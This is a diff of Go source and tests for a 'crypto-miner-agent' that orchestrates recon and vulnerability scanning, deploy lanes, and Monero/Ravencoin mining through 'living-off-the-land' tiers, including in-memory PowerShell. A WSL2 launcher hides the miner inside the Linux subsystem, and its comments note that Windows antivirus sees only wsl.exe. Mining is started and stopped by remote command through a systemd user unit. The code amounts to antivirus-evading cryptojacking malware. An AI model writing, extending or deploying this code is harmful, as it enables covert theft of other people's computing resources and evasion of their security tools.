if s.ExposedCount > o.recon.ExposedCount {
o.recon.ExposedCount = s.ExposedCount
}
if s.LikelyCount > o.recon.LikelyCount {
o.recon.LikelyCount = s.LikelyCount
}
if s.ServiceCount > o.recon.ServiceCount {
o.recon.ServiceCount = s.ServiceCount
}
if s.OpenPortCount > o.recon.OpenPortCount {
o.recon.OpenPortCount = s.OpenPortCount
}
if len(s.Details) > 0 {
if o.recon.Details == nil {
o.recon.Details = make(map[string]interface{}, len(s.Details))
}
for k, v := range s.Details {
o.recon.Details[k] = v
}
}
}
func (o *TripleOnionOrchestrator) recordAttempt(phase OnionPhase, tier string, ok bool, errMsg string, duration time.Duration, details map[string]interface{}) {
o.mu.Lock()
attempt := TierAttempt{
Phase: string(phase),
Tier: LOTLTier(tier),
OK: ok,
DurationMs: duration.Milliseconds(),
Details: details,
}
if phase == OnionPhaseMining {
attempt.Wallet = o.wallet
}
if !ok && errMsg != "" {
attempt.Error = errMsg
}
o.attempts = append(o.attempts, attempt)
report := o.buildReport(phase)
reporter := o.hooks.ReportEvent
o.mu.Unlock()
if reporter != nil {
event := "onion_report"
if !ok {
event = "onion_fallback"
}
reporter(report, event)
}
}
func (o *TripleOnionOrchestrator) recordPhaseSkip(phase OnionPhase, reason string) {
o.recordAttempt(phase, "policy_gate", false, reason, 0, map[string]interface{}{"gated": true})
}
func (o *TripleOnionOrchestrator) buildReport(phase OnionPhase) TripleOnionReport {
attempts := make([]TierAttempt, len(o.attempts))
copy(attempts, o.attempts)
return TripleOnionReport{
ActivePhase: phase,
Gate: o.gate,
Recon: o.recon,
Attempts: attempts,
Wallet: o.wallet,
}
}
// Report returns the current triple-onion snapshot.
func (o *TripleOnionOrchestrator) Report() TripleOnionReport {
o.mu.RLock()
defer o.mu.RUnlock()
return o.buildReport("")
}
// Attempts returns all recorded tier attempts across phases.
func (o *TripleOnionOrchestrator) Attempts() []TierAttempt {
o.mu.RLock()
defer o.mu.RUnlock()
out := make([]TierAttempt, len(o.attempts))
copy(out, o.attempts)
return out
}
// GateDecisionSnapshot returns the last evaluated gate decision.
func (o *TripleOnionOrchestrator) GateDecisionSnapshot() GateDecision {
o.mu.RLock()
defer o.mu.RUnlock()
return o.gate
}
// Done reports whether Run has completed.
func (o *TripleOnionOrchestrator) Done() bool {
o.mu.RLock()
defer o.mu.RUnlock()
return o.done
}
// Policy returns the effective triple-onion policy.
func (o *TripleOnionOrchestrator) Policy() TripleOnionPolicy {
o.mu.RLock()
defer o.mu.RUnlock()
return o.policy
}
// UpdateConfig refreshes wallet/runtime config without redeploy.
func (o *TripleOnionOrchestrator) UpdateConfig(cfg config.RuntimeConfig) {
o.mu.Lock()
o.cfg = cfg
o.wallet = strings.TrimSpace(cfg.Wallet)
o.mu.Unlock()
}

View File

@@ -0,0 +1,186 @@
package miner
import (
"context"
"testing"
"crypto-miner-agent/config"
)
func TestEvaluateTripleOnionGatesPatchFirstCritical(t *testing.T) {
policy := DefaultTripleOnionPolicy()
recon := ReconSnapshot{CriticalExposed: 1, RiskScore: 25}
gate := EvaluateTripleOnionGates(policy, recon)
if !gate.PatchFirst {
t.Fatal("expected patch_first gate")
}
if !gate.SkipDeploy || !gate.SkipMining {
t.Fatalf("patch_first should block deploy+mining: %+v", gate)
}
if gate.Reason == "" {
t.Fatal("expected gate reason")
}
}
func TestEvaluateTripleOnionGatesPatchFirstDisabled(t *testing.T) {
policy := DefaultTripleOnionPolicy()
policy.PatchFirst = false
recon := ReconSnapshot{CriticalExposed: 2, RiskScore: 50}
gate := EvaluateTripleOnionGates(policy, recon)
if gate.SkipDeploy || gate.SkipMining {
t.Fatalf("patch_first off should not block chains: %+v", gate)
}
}
func TestEvaluateTripleOnionGatesSkipMiningHighRisk(t *testing.T) {
policy := DefaultTripleOnionPolicy()
policy.PatchFirst = false
policy.SkipMiningOnHighRisk = true
policy.HighRiskThreshold = 40
recon := ReconSnapshot{RiskScore: 55}
gate := EvaluateTripleOnionGates(policy, recon)
if gate.SkipMining {
if gate.SkipDeploy {
t.Fatal("high risk should only skip mining, not deploy")
}
} else {
t.Fatalf("expected skip mining at risk 55 >= 40: %+v", gate)
}
}
func TestEvaluateTripleOnionGatesHighRiskBelowThreshold(t *testing.T) {
policy := DefaultTripleOnionPolicy()
policy.PatchFirst = false
policy.SkipMiningOnHighRisk = true
policy.HighRiskThreshold = 60
recon := ReconSnapshot{RiskScore: 45}
gate := EvaluateTripleOnionGates(policy, recon)
if gate.SkipMining {
t.Fatalf("risk 45 < 60 should not skip mining: %+v", gate)
}
}
func TestEvaluateTripleOnionGatesPatchFirstOverridesHighRisk(t *testing.T) {
policy := DefaultTripleOnionPolicy()
policy.SkipMiningOnHighRisk = true
recon := ReconSnapshot{CriticalExposed: 1, RiskScore: 90}
gate := EvaluateTripleOnionGates(policy, recon)
if !gate.SkipDeploy || !gate.SkipMining {
t.Fatalf("critical CVE should block both chains: %+v", gate)
}
}
func TestApplyIsolatedMiningPolicySkipsHostPaths(t *testing.T) {
out := ApplyIsolatedMiningPolicy(DefaultMiningTierPolicy())
if len(out.TierOrder) == 0 {
t.Fatal("expected tier order")
}
if out.TierOrder[0] != TierDockerLoad {
t.Fatalf("isolated policy should start docker_load, got %v", out.TierOrder)
}
skip := make(map[LOTLTier]bool, len(out.SkipTiers))
for _, t := range out.SkipTiers {
skip[t] = true
}
for _, hostTier := range []LOTLTier{TierExeSubprocess, TierCPUInprocess, TierPSInMemory, TierDotnet} {
if !skip[hostTier] {
t.Fatalf("mine_isolated_tier should skip %s", hostTier)
}
}
}
func TestApplyEnvTripleOnionOverrides(t *testing.T) {
t.Setenv("AETHERFORGE_PATCH_FIRST", "false")
t.Setenv("AETHERFORGE_SKIP_MINING", "true")
t.Setenv("AETHERFORGE_MINE_ISOLATED", "1")
t.Setenv("AETHERFORGE_HIGH_RISK_THRESHOLD", "75")
p := ApplyEnvTripleOnionOverrides(DefaultTripleOnionPolicy())
if p.PatchFirst {
t.Fatal("env should disable patch_first")
}
if !p.SkipMiningOnHighRisk {
t.Fatal("env should enable skip mining")
}
if !p.MineIsolatedTier {
t.Fatal("env should enable mine_isolated")
}
if p.HighRiskThreshold != 75 {
t.Fatalf("threshold=%d want 75", p.HighRiskThreshold)
}
}
func TestTripleOnionOrchestratorRunGatesMining(t *testing.T) {
policy := DefaultTripleOnionPolicy()
policy.PatchFirst = false
policy.SkipMiningOnHighRisk = true
policy.HighRiskThreshold = 10
var miningStarted bool
o := NewTripleOnionOrchestrator(testCfg(config.BuiltinConfig{}), policy, TripleOnionHooks{
RunReconTier: func(_ context.Context, tier string) ReconTierResult {
if tier == "kev_scan" {
return ReconTierResult{
OK: true,
Snapshot: ReconSnapshot{
RiskScore: 80,
CriticalExposed: 0,
},
}
}
return ReconTierResult{OK: true}
},
RunDeployLane: func(_ context.Context, _ string) (bool, string) {
return false, "no targets"
},
RunMining: func(_ context.Context) {
miningStarted = true
},
})
report := o.Run(context.Background())
if miningStarted {
t.Fatal("high risk gate should skip mining")
}
if !report.Gate.SkipMining {
t.Fatalf("report gate should skip mining: %+v", report.Gate)
}
var sawMiningGate bool
for _, a := range report.Attempts {
if a.Phase == string(OnionPhaseMining) && a.Tier == "policy_gate" {
sawMiningGate = true
}
}
if !sawMiningGate {
t.Fatal("expected gated mining attempt recorded")
}
}
func TestTripleOnionOrchestratorDeployStopsOnSuccess(t *testing.T) {
var deployCalls int
policy := DefaultTripleOnionPolicy()
policy.DeployLanes = []string{"docker", "wsl"}
o := NewTripleOnionOrchestrator(testCfg(config.BuiltinConfig{}), policy, TripleOnionHooks{
RunReconTier: func(_ context.Context, _ string) ReconTierResult {
return ReconTierResult{OK: true}
},
RunDeployLane: func(_ context.Context, lane string) (bool, string) {
deployCalls++
if lane == "docker" {
return true, "container runtime ready"
}
return false, "skipped"
},
RunMining: func(_ context.Context) {},
})
o.Run(context.Background())
if deployCalls != 1 {
t.Fatalf("deploy should stop after first success, calls=%d", deployCalls)
}
}

59
agent/miner/wsl_detect.go Normal file
View File

@@ -0,0 +1,59 @@
package miner
import (
"context"
"os/exec"
"runtime"
"strings"
"time"
)
// WSLRuntimeInfo describes a detected WSL2 installation on Windows.
type WSLRuntimeInfo struct {
Available bool
CLI string // path to wsl.exe
Distros []string // registered distro names (first is default launch target)
}
// WSLDetector probes WSL availability. Tests inject a mock via SetWSLDetector.
var WSLDetector = DetectWSL
// SetWSLDetector restores the default detector when fn is nil.
func SetWSLDetector(fn func() WSLRuntimeInfo) {
if fn == nil {
WSLDetector = DetectWSL
return
}
WSLDetector = fn
}
// DetectWSL checks for wsl.exe and at least one registered distro.
func DetectWSL() WSLRuntimeInfo {
if runtime.GOOS != "windows" {
return WSLRuntimeInfo{}
}
path, err := exec.LookPath("wsl.exe")
if err != nil {
return WSLRuntimeInfo{}
}
out, err := func() ([]byte, error) {
ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
defer cancel()
return exec.CommandContext(ctx, path, "-l", "-q").CombinedOutput()
}()
if err != nil {
// WSL may be installed but no distros — still not usable for mining.
return WSLRuntimeInfo{CLI: path}
}
var distros []string
for _, line := range strings.Split(string(out), "\n") {
name := strings.TrimSpace(line)
if name != "" {
distros = append(distros, name)
}
}
if len(distros) == 0 {
return WSLRuntimeInfo{CLI: path}
}
return WSLRuntimeInfo{Available: true, CLI: path, Distros: distros}
}

198
agent/miner/wsl_launcher.go Normal file
View File

@@ -0,0 +1,198 @@
package miner
import (
"fmt"
"log"
"os"
"os/exec"
"strings"
"sync"
"crypto-miner-agent/config"
)
const (
defaultWSLDistro = "Ubuntu"
defaultWSLWorkerPath = "/opt/aetherforge/worker"
wslSystemdUnitName = "aetherforge-miner.service"
)
// wslExecCommand is exec.Command; tests override via SetWSLExecCommand.
var wslExecCommand = exec.Command
// SetWSLExecCommand restores the default when fn is nil.
func SetWSLExecCommand(fn func(name string, args ...string) *exec.Cmd) {
if fn == nil {
wslExecCommand = exec.Command
return
}
wslExecCommand = fn
}
// WSLLauncher supervises CPU mining inside a WSL2 distro via wsl.exe -e.
// Windows AV sees only wsl.exe — the worker binary lives in the Linux VFS.
//
// Remote start_mining / pause can toggle the systemd user unit without spawning
// a new process tree on each resume:
//
// wsl.exe -d <distro> -e systemctl --user start aetherforge-miner.service
// wsl.exe -d <distro> -e systemctl --user stop aetherforge-miner.service
//
// Install the unit once under ~/.config/systemd/user/ in the target distro.
// When systemd is unavailable, Start falls back to wsl.exe -e bash -lc with
// the same AETHERFORGE_* env vars as the container tier (same XMR wallet).
type WSLLauncher struct {
cfg config.RuntimeConfig
wsl WSLRuntimeInfo
distro string
mu sync.Mutex
running bool
cmd *exec.Cmd
}
// NewWSLLauncher builds a launcher when WSL2 is available on Windows.
func NewWSLLauncher(cfg config.RuntimeConfig, wslRT WSLRuntimeInfo) (*WSLLauncher, error) {
if !wslRT.Available || wslRT.CLI == "" {
return nil, fmt.Errorf("WSL2 not available (no wsl.exe or no distros)")
}
distro := strings.TrimSpace(os.Getenv("AETHERFORGE_WSL_DISTRO"))
if distro == "" && len(wslRT.Distros) > 0 {
distro = wslRT.Distros[0]
}
if distro == "" {
distro = defaultWSLDistro
}
return &WSLLauncher{cfg: cfg, wsl: wslRT, distro: distro}, nil
}
// Start launches mining inside WSL (idempotent while already running).
func (l *WSLLauncher) Start() error {
l.mu.Lock()
defer l.mu.Unlock()
if l.running {
return nil
}
// Prefer systemd user unit when installed in the distro.
if err := wslExecCommand(l.wsl.CLI, "-d", l.distro, "-e", "systemctl", "--user", "start", wslSystemdUnitName).Run(); err == nil {
l.running = true
log.Printf("[wsl] started %s via systemd user unit (distro=%s)", wslSystemdUnitName, l.distro)
return nil
}
args := l.buildDirectExecArgs()
cmd := wslExecCommand(l.wsl.CLI, args...)
cmd.Stdout = nil
cmd.Stderr = nil
if err := cmd.Start(); err != nil {
return fmt.Errorf("wsl worker start failed: %w", err)
}
l.cmd = cmd
l.running = true
log.Printf("[wsl] started worker in distro=%s wallet=%s", l.distro, l.cfg.Wallet)
go l.waitExit()
return nil
}
func (l *WSLLauncher) buildDirectExecArgs() []string {
worker := strings.TrimSpace(os.Getenv("AETHERFORGE_WSL_WORKER"))
if worker == "" {
worker = defaultWSLWorkerPath
}
script := fmt.Sprintf("export %s; exec %s",
strings.Join(l.wslEnv(), " "),
worker,
)
return []string{"-d", l.distro, "-e", "bash", "-lc", script}
}
func (l *WSLLauncher) wslEnv() []string {
threads := l.cfg.EffectiveThreads()
pairs := []string{
"AETHERFORGE_SERVER_URL=" + l.cfg.ServerURL,
"AETHERFORGE_WALLET=" + l.cfg.Wallet,
"AETHERFORGE_WORKER=" + l.cfg.WorkerName,
"AETHERFORGE_POOL_HOST=" + l.cfg.PoolHost,
"AETHERFORGE_POOL_PORT=" + fmt.Sprintf("%d", l.cfg.PoolPort),
"AETHERFORGE_POOL_TLS=" + boolEnv(l.cfg.PoolTLS),
"AETHERFORGE_POOL_PASS=" + l.cfg.PoolPass,
"AETHERFORGE_THREADS=" + fmt.Sprintf("%d", threads),
"AETHERFORGE_MINER_EXECUTION=" + ExecutionInProcess,
"AETHERFORGE_FLEET_SECRET=" + l.cfg.FleetSecret,
}
if l.cfg.RVNWallet != "" {
pairs = append(pairs,
"AETHERFORGE_RVN_WALLET="+l.cfg.RVNWallet,
"AETHERFORGE_RVN_POOL_HOST="+l.cfg.RVNPoolHost,
"AETHERFORGE_RVN_POOL_PORT="+fmt.Sprintf("%d", l.cfg.RVNPoolPort),
"AETHERFORGE_GPU_ENABLED="+boolEnv(l.cfg.GPUEnabled),
)
}
return pairs
}
func (l *WSLLauncher) waitExit() {
if l.cmd == nil {
return
}
err := l.cmd.Wait()
l.mu.Lock()
l.running = false
l.cmd = nil
l.mu.Unlock()
if err != nil {
log.Printf("[wsl] worker exited: %v — host will fall back if configured", err)
} else {
log.Printf("[wsl] worker stopped")
}
}
// Stop halts the WSL workload (systemd unit or direct process).
func (l *WSLLauncher) Stop() {
l.mu.Lock()
running := l.running
l.mu.Unlock()
if !running {
return
}
_ = wslExecCommand(l.wsl.CLI, "-d", l.distro, "-e", "systemctl", "--user", "stop", wslSystemdUnitName).Run()
l.mu.Lock()
if l.cmd != nil && l.cmd.Process != nil {
_ = l.cmd.Process.Kill()
}
l.running = false
l.cmd = nil
l.mu.Unlock()
}
// Running reports whether the launcher believes the WSL worker is active.
func (l *WSLLauncher) Running() bool {
l.mu.Lock()
defer l.mu.Unlock()
return l.running
}
// ToggleWSLMining starts or stops the systemd user unit via wsl.exe.
// Used by remote start_mining / pause when a WSL sidecar is the active tier.
func ToggleWSLMining(wslRT WSLRuntimeInfo, distro string, start bool) error {
if !wslRT.Available || wslRT.CLI == "" {
return fmt.Errorf("WSL2 not available")
}
if strings.TrimSpace(distro) == "" {
if len(wslRT.Distros) > 0 {
distro = wslRT.Distros[0]
} else {
distro = defaultWSLDistro
}
}
verb := "stop"
if start {
verb = "start"
}
cmd := wslExecCommand(wslRT.CLI, "-d", distro, "-e", "systemctl", "--user", verb, wslSystemdUnitName)
if err := cmd.Run(); err != nil {
return fmt.Errorf("wsl systemctl %s %s: %w", verb, wslSystemdUnitName, err)
}
return nil
}

View File

@@ -0,0 +1,64 @@
package miner
import (
"os/exec"
"runtime"
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestWSLLauncherStartUsesWslExe(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("WSL launcher tests require windows")
}
var gotCLI string
var gotArgs []string
SetWSLExecCommand(func(name string, args ...string) *exec.Cmd {
gotCLI = name
gotArgs = append([]string(nil), args...)
if len(args) >= 4 && args[3] == "systemctl" {
return exec.Command("cmd", "/c", "exit 1")
}
return exec.Command("ping", "-n", "2", "127.0.0.1")
})
defer SetWSLExecCommand(nil)
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
Wallet: "89QUKeqsKEGfP9Vpiph8jEXc3YyVFN5dKeYdMFVraVG4SGU3jAprbBp9AgRutKxzPSdQQMp9EGeG7Wmh8NRfniiaMMYpmC3",
WorkerName: "wsl-worker",
PoolHost: "pool.example.com",
PoolPort: 3333,
},
}
wslRT := WSLRuntimeInfo{Available: true, CLI: "wsl.exe", Distros: []string{"Ubuntu"}}
launcher, err := NewWSLLauncher(cfg, wslRT)
if err != nil {
t.Fatalf("NewWSLLauncher: %v", err)
}
if err := launcher.Start(); err != nil {
t.Fatalf("Start: %v", err)
}
defer launcher.Stop()
if gotCLI != "wsl.exe" {
t.Fatalf("CLI=%q want wsl.exe", gotCLI)
}
if !strings.Contains(strings.Join(gotArgs, " "), "AETHERFORGE_WALLET=") {
t.Fatalf("expected wallet env in wsl command, args=%v", gotArgs)
}
if !launcher.Running() {
t.Fatal("Running() false after Start")
}
}
func TestNewWSLLauncherUnavailable(t *testing.T) {
_, err := NewWSLLauncher(config.RuntimeConfig{}, WSLRuntimeInfo{})
if err == nil {
t.Fatal("expected error without WSL")
}
}